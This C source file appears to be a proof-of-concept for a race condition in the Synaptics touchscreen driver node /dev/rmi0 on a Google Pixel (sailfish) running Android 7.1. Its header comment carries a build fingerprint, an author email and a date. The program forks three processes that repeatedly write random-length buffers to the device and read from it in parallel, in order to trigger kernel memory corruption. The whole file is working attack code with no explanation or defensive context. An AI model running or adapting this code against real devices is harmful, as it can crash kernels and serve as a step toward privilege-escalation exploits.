/*
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com 20161118
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

#define REG_ADDR_LIMIT 0xFFFF
int race_write(int fd)
{
	int ret, i;
	char data[REG_ADDR_LIMIT] = {0};
	pid_t pid;

	pid = fork();

	if(pid < 0) {}
	else if(pid == 0) {
		while(1) {
			lseek(fd, 0 , SEEK_SET);
			ret = write(fd, data, 8);
			if(ret<0) {
				printf("write fail %s\n",strerror(errno));
			} else printf("pid %d succ write %d byte\n",getpid(), ret);
			sleep(0.5);
		}
	} else {

		pid = fork();
		if(pid<0) {}
		else if(pid == 0) {
			while(1) {
				ret = write(fd, data, (rand() % REG_ADDR_LIMIT));
				//ret = write(fd, data, 0xff00);
				if(ret<0) {
					printf("write fail %s\n",strerror(errno));
				} else printf("pid %d succ write %d byte\n",getpid(),ret);
				sleep(0.5);
			}
		} else {
			while(1) {
				//ret = write(fd, data, (rand() % REG_ADDR_LIMIT));
				lseek(fd, 0 , SEEK_SET);
				ret = read(fd, data, 0xff00);
				if(ret<0) {
					printf("read fail %s\n",strerror(errno));
				} else printf("pid %d succ read %d byte\n",getpid(),ret);
				sleep(0.5);
			}
		}
	}

	return 0;
}

	int
main(int argc, char *argv[])
{
	int ret;
	char *path = "/dev/rmi0";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	race_write(fd);	
	close(fd);

	return 0;
}
